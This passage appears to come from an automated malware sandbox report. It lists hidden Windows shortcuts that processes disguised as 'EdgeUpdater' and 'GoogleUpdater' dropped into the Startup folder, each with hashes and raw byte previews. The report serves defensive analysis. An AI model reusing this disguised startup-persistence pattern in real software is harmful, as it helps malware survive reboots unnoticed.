Preview:	L..................F...."......P...\6..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_62a9c111b7024bf1b7e3427143df5dbe.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:21 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.945015768248565
Encrypted:	false
SSDEEP:	24:8ptfRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8ptRkr1R8AZjvgTyF
MD5:	0FB6B1ECD9E7073D0CF466D25A7D684D
SHA1:	A5C8FA582A0963B7DA1C312767BFEC597C07B841
SHA-256:	10002537CF44A9F956EA05CCB44A4827C701FF411A1A9DE696653F8CD7D041A0
SHA-512:	6CF0D8FDAC78964ACAFFBA51C41B105931D179F776F80ACA42596E32B3EBCBC6D5362531A645745BDF7E6D4F54FD61791698EEB5006822CFF83430920BDB126F
Malicious:	false
Preview:	L..................F...."......P....Q..P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_645de0150d874163869d6670072f2b6d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:43 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.944068645611726
Encrypted:	false
SSDEEP:	24:8p2R9eYl1RogKrA5+W8Ajfv/42egvqyFm:8p2R9r1R8AZjvgTyF
MD5:	C132922524C0365F5605C6876F8CBD78
SHA1:	6AAB4879DF5FAC959F3EE1D9C971D1388A76D803
SHA-256:	B997C44E7F45111FAFC99B88238C6F3C93AB7BFCB1F163EB04AF89419195261E
SHA-512:	28361B5CAB379BCEA7CCCF5783099533666A9B372F9200FF266529AAD93C5FB59AF1FB47AAF8421B15223443F7D06F0ABE076C4B695901F38C9B8FD0A62FE027
Malicious:	false
Preview:	L..................F...."......P.....\P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...R.,[P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_67aa16d8cbb54193b4cc6a43ae987154.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:19 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94194785936806
Encrypted:	false
SSDEEP:	24:8pfRrCeYl1RogKrA5+W8Ajfv/42egvqyFm:8pfRrCr1R8AZjvgTyF
MD5:	CC0EC3641C142C4814FE76C58C31DC2D
SHA1:	AC1A5FE47763B6732DA8A9958E6280C2B5F85B03
SHA-256:	E70DA20C4AB01724759C0A13CF235EC572F4A13EB8D0240746B49C034531B12E
SHA-512:	338EB6CF6E34282E395C56550FC8B527A55DDB9CC1D10C0807F0C724F37A8520EC2217899852BC453D2C7E2915091B1BBFF0AC164B021F58ED2B297EAB78F3B1
Malicious:	false
Preview:	L..................F...."......P...:.NP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...:.NP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6815355ca8ca458cb90615cdfafe5e99.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:44 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941947859368059
Encrypted:	false
SSDEEP:	24:8p2HvRheYl1RogKrA5+W8Ajfv/42egvqyFm:8p2HvRhr1R8AZjvgTyF
MD5:	2E2A284E6DD63BEFD44DF62D4741C02F
SHA1:	A1E234AEF6CD9D0FCAFEE4FEB262C976E5D3DF63
SHA-256:	A0205ABA256494F1A998854A029D2F8DFD07E9371CC045B240482D469375E6F8
SHA-512:	E83930E0B4C293EA1BD24C6F5C25A09192FCC70FDA4951994387040A52DCA7F1E02D93161BB6D07A4FDD42A2CBAE357C9C9CC4C01D551FA47042A52C675B2D7A
Malicious:	false
Preview:	L..................F...."......P....:@]P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P....:@]P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_68c1135d3fad4aa09b4f4ad7ae1c7dc4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:10 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.941310823501254
Encrypted:	false
SSDEEP:	24:8pyRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8pyRBr1R8AZjvgTyF
MD5:	21DDEB926E9294D97D5383988392C914
SHA1:	BA92537645528759DCF2D676A0AF5FA6D5E52FDC
SHA-256:	AC642F0733A1F414F94B2931D9ADF0396762E66EEF5980C75682600BE8F5F2DC
SHA-512:	5BBDBCF8D83710949342C8F26A242628CE3A9206809FBFF279B0CA636082D73FEF6FED58ECCB8A83A247E47AC134D3ABAA3C2B2D2F22E3C2A7BE3581A7A052F3
Malicious:	false
Preview:	L..................F...."......P...9n/%P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...9$u.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6ab7ab4f25cd4db2b5e6cb0bcc44772f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:31 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.937180989754772
Encrypted:	false
SSDEEP:	24:8p2RkeYl1RogKrA5+W8Ajfv/42egvqyFm:8p2Rkr1R8AZjvgTyF
MD5:	59D0B05F23B75C8D1DF3C877D4FE7858
SHA1:	EC532A810CF27B640E1EE971FC72C7158609101B
SHA-256:	1B550B2FFC30D24572F42B73A998C3B2EBF791F23EB48B862586BEAA32F71A55
SHA-512:	5ECDB1A6394B4958E5CEF1FDC68A302A78B5D2E6AA0E666A20EC2D9748BC760E0CF937DEA9070480C32C77AE1EACABCFBEE7FB29FCDE306F77C5C9D6161D5124
Malicious:	false
Preview:	L..................F...."......P...E.".P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6bfc3d831634488eb95b5f6dc4e48e8a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:38 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9357495657242225
Encrypted:	false
SSDEEP:	24:8pCRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pCRkr1R8AZjvgTyF
MD5:	DD15469712F4C4030B7F4BBBEA397170
SHA1:	28CEB49C85076C4017A5DD0F2D215F245668151D
SHA-256:	EFC3225ECEFF7A0D1952063049FCACF6FA8B5B4A8328CA8EFCA9549DE6A921B8
SHA-512:	A66193102E9BF87D46E56CF1AA020164D9A9D98B5DAE10536C6108ABED4CBE9E8186D08C2D764251C158AD9C12467D55E3750009602EDADF3C74D25C7D22D197
Malicious:	false
Preview:	L..................F...."......P.......P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6c6b588caa844b57a0a5088c0caff79d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:54:02 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.935645807870709
Encrypted:	false
SSDEEP:	24:8pFRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pFRjr1R8AZjvgTyF
MD5:	9735A184D7A692E11675A0E31A23D47D
SHA1:	676357CB4635FFB472EA3BC0C7548EFCE5EA283A
SHA-256:	708E9A6F0C443DC2F8731460EB6175BFEF0269C235F4FE12BE347F0E85551048
SHA-512:	9F4413758FD5B3EB2DBD78A415A5DDF3769F7E6E16C0BC70FCCA14FF26DFB2131AECFE982D87C4B98412490396C3C6473A1EA50B29936BBBC2BC9AFA0C4CFB14
Malicious:	false
Preview:	L..................F...."......P...(.ADP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6d97a038d70f4468925fede4d9ead8ab.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:53:29 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.939174056433204
Encrypted:	false
SSDEEP:	24:8pwfRjeYl1RogKrA5+W8Ajfv/42egvqyFm:8pORjr1R8AZjvgTyF
MD5:	D0590CB7856C690214688A9B087A7EDC
SHA1:	170CCC7023D96690CFAE06488B2752A0800B85BC
SHA-256:	0777E128E87A583B11DE063DB5EEBE886656469E59996C21809A9D297C21862A
SHA-512:	2B303ACBA4D1B058FA02D0FA5F36BABACD14CDE9A01CE213D26C4643C3D22B787A4A830C341546272F586FE6B8C701964F747AE1FA170CD3C52AC0D1AD91F416
Malicious:	false
Preview:	L..................F...."......P...=..0P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P...".@.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6de9ad61d05342bbaea8461c36d48f9d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:04 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9423397525720345
Encrypted:	false
SSDEEP:	24:8pFjRSCeYl1RogKrA5+W8Ajfv/42egvqyFm:8pNRzr1R8AZjvgTyF
MD5:	8018568927F01F5CAE81C62CD4684888
SHA1:	7B9D26BC6094652A3910EA591F40467A0BCD796F
SHA-256:	E14B7EE6AA9562D7063D4C5C5D4890F7F5D928FDFA0A3B9CE5784746F41378C6
SHA-512:	31F553631E228D4D22234E67994BD205F91311FE8447D2DE82759B9E8746591B3448287042A4749D3FD9E792A81E0053347A90372EC05AC22748CD1A05345613
Malicious:	false
Preview:	L..................F...."......P....#3iP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P......gP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6ea984856cb5485087be0cf5fe4dd6e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:36 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.933982158513427
Encrypted:	false
SSDEEP:	24:8pfRkeYl1RogKrA5+W8Ajfv/42egvqyFm:8pfRkr1R8AZjvgTyF
MD5:	FEE256F10814ED48F93CDD3A2A8570EB
SHA1:	4EF7D61708AB0311AF72E70EFEAA883177C75BB0
SHA-256:	65117455AB107E9A9F41350306A959E74F646969573759A304FC27BCA4ED1781
SHA-512:	6FBCF31D116BA269BB4F298D2FFD0394269D01BCFCF17A744B98AE6C982BC154EECB39C2E27B7C2FCBEDE2E253A2D7C8E3AA6388AB4DE5C78483165CB87E2A65
Malicious:	false
Preview:	L..................F...."......P....YT.P....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....W.P.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_6f1dda9a1a0d426cb156e1fa46783ff7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\GoogleUpdater.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:55:17 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.9396230597881745
Encrypted:	false
SSDEEP:	24:8pzRs/eYl1RogKrA5+W8Ajfv/42egvqyFm:8pzRs/r1R8AZjvgTyF
MD5:	2D8F35A737DB399CE285652F573BB338
SHA1:	8195BB829D1458AD6616DD421C91AAD41733E469
SHA-256:	9F802C445DAB8A7D94D302BA593337B489A9C35538C5607D14CE13647342CA14
SHA-512:	58F2458DD6F919DC6372794C6C0668B36952F5C226F12D83238752DD0D96E4231305C352C0E92D91136F5FC2CB3AE7F2B72744425688DEE5D2860E0077C7BD55
Malicious:	false
Preview:	L..................F...."......P.....7qP....m..P....j......................&.:..DG..Yr?.D..U..k0.&...&......vk.v........P.....7qP.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^CY.&...........................%..A.p.p.D.a.t.a...B.P.1.....CY.&..Local.<......CW.^CY.&....b.........................L.o.c.a.l.....N.1.....CY.&..Temp..:......CW.^CY.&....l.....................'.0.T.e.m.p.....`.1.....CY.&..EDGEUP~1..H......CY.&CY.&..............................E.d.g.e.U.p.d.a.t.e.r.....j.2..j..CY.&".LKMSER~1.EXE..N......CY.&CY.&...........................c.L.K.M.S.e.r.v.i.c.e...e.x.e.......k...............-.......j...........{.B.....C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe..7.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.U.p.d.a.t.e.r.\.L.K.M.S.e.r.v.i.c.e...e.x.e.........\|....I.J.H..K..:...`.......X.......936905...........hT..CrF.f4... .$}T..b...,.......hT..CrF.f4... .$}T..b...,..................1SPS.XF.L8C....&

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LKMService_77738e661f3246e584f8f20af07fcb93.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\EdgeUpdater\LKMService.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Thu Oct 3 03:52:18 2024, mtime=Thu Oct 3 03:52:58 2024, atime=Thu Oct 3 03:52:17 2024, length=27136, window=hide
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	4.94055420160063
Encrypted:	false
SSDEEP:	24:8prRBeYl1RogKrA5+W8Ajfv/42egvqyFm:8prRBr1R8AZjvgTyF
MD5:	FD3A32A0240557318CB62930B69A58D9
SHA1:	4EE8509BE928080BCD2B23ABB8F20D2807B9212E
SHA-256:	2EDA3DA885D936B30997C01B7A5496D65D370DE50A4C0DAA1B3A0FB4265ED554
SHA-512:	C8E1F3912C0ED4DBFC0ADF218B6C278199A94E3C3B23B213F4DBD434A4B2C2E6B8E27EFEBB92923F51CCA19BE0CD5B72EFB817D84C8E84035F1297552DE28E9B
Malicious:	false
Preview:	